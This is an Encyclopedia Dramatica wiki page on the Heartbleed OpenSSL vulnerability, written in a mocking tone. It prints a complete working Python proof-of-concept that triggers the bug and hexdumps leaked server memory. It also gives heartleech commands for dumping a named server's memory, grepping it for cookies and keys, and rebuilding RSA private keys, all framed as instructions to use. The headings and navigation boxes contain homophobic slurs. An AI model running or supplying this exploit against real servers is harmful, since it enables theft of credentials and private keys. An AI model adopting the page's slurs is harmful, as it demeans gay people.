Heartbleed

From Encyclopedia Dramatica
Jump to: navigation, search
A+ for creativity.
Heartbleed for Dummies

Heartbleed (CVE-2014-0160) is a serious vulnerability within OpenSSL that allows a skilled hacker to steal passwords, usernames, e-mails, IMs, credit card numbers, private keys and other forms of information from any website that incorporates the software in their servers. It can also be utilized by the Party Van to take a peek at what you've been doing on TOR.

The heartache[edit]

The bug has existed since March 2012, and is currently estimated to affect 66% of servers worldwide. An incomplete list of major websites affected include:

As with all security flaws exposed, an absolute mudslide of butthurt and IRL drama has ensued. In one instance, an attacker was able to hijack multiple VPN sessions by obtaining active tokens and then escalate their own privileges within the system This was a few days after the patch was released, lamenting the continued carelessness of companies who promise to safeguard your privacy.

How 2 Heartbleed[edit]

Here's how to test if a server is vulnerable to heartbeat. Original code by Jared Stafford.

Use at your own risk!

For use with Python 2.7

#!/usr/bin/python
 
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
 
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
 
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
 
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')
 
hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')
 
hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')
 
def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print
 
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        
 
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay
 
def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False
 
        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True
 
        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False
 
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break
 
    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)
 
if __name__ == '__main__':
    main()

For lazy faggots[edit]

http://github.com/robertdavidgraham/heartleech

Running[edit]

Run like the following:

./heartleech www.cloudflarechallenge.com -f challenge.bin

This will send a million heartbeat requests to the server, which by the way will create a 64-gigabyte file, since each heartbeat is 64KB in size. You can then grep that file for cookies, keys, and so on.

Or, run like the following

./heartleech www.cloudflarechallenge.com -a

This will automatically search the contents looking for prime factors for RSA keys, and if found, rebuilds the private key file for you and exits. Doesn't work with non-RSA keys.

You can also search existing files gathered by other tools, or even other memory dumps that have nothing to do with the heartbleed bug, but which may have private keys.

./heartleech -c challenge.pem -F scan.binaries

See Also[edit]

External Links[edit]

Softwarez series.jpg

Heartbleed is part of a series on

Softwarez

Visit the Softwarez Portal for complete coverage.


Tf.org-Hackers-free.jpg

Heartbleed is part of a series on Security Faggots

1337 h4x0rz

Captain CrunchCult of the Dead CowDavid L. SmithGary McKinnonGOBBLESHD MooreJeff MossKevin MitnickLance M. HavokRobert MorrisTheo de RaadtweevWoz


Try-Hards

2cashAnonOpsBrian SalcedoDshockerFearnorFry GuyGadi Evrong00nsHack This SiteHacking TeamhannJoanna RutkowskaJohn FieldJoseph CampLizard SquadLulzSecMark ZuckerbergMarshviperXMasters of DeceptionMichael LynnKrashedRavenr000tRyanSteve Gibsonth3j35t3rThe RegimeSabuZeekill


Related Shit

AviraBack OrificeBotnetBrute ForcingCaller ID SpoofingCain and AbelCiscogateCISSPCloudflareConfickerCyberDefenderDangerous KittenDEF CONEmbedded FilesEncryptionEthical HackerExploitThe GibsonThe Great Em/b/assy Security Leak of 2007h4xx1n9HeartbleedI GOT NORTON!Is Your Son a Computer Hacker?NSAOperation SundevilPIFTS.exeSocial engineeringStylometrySubSevenTorZone-H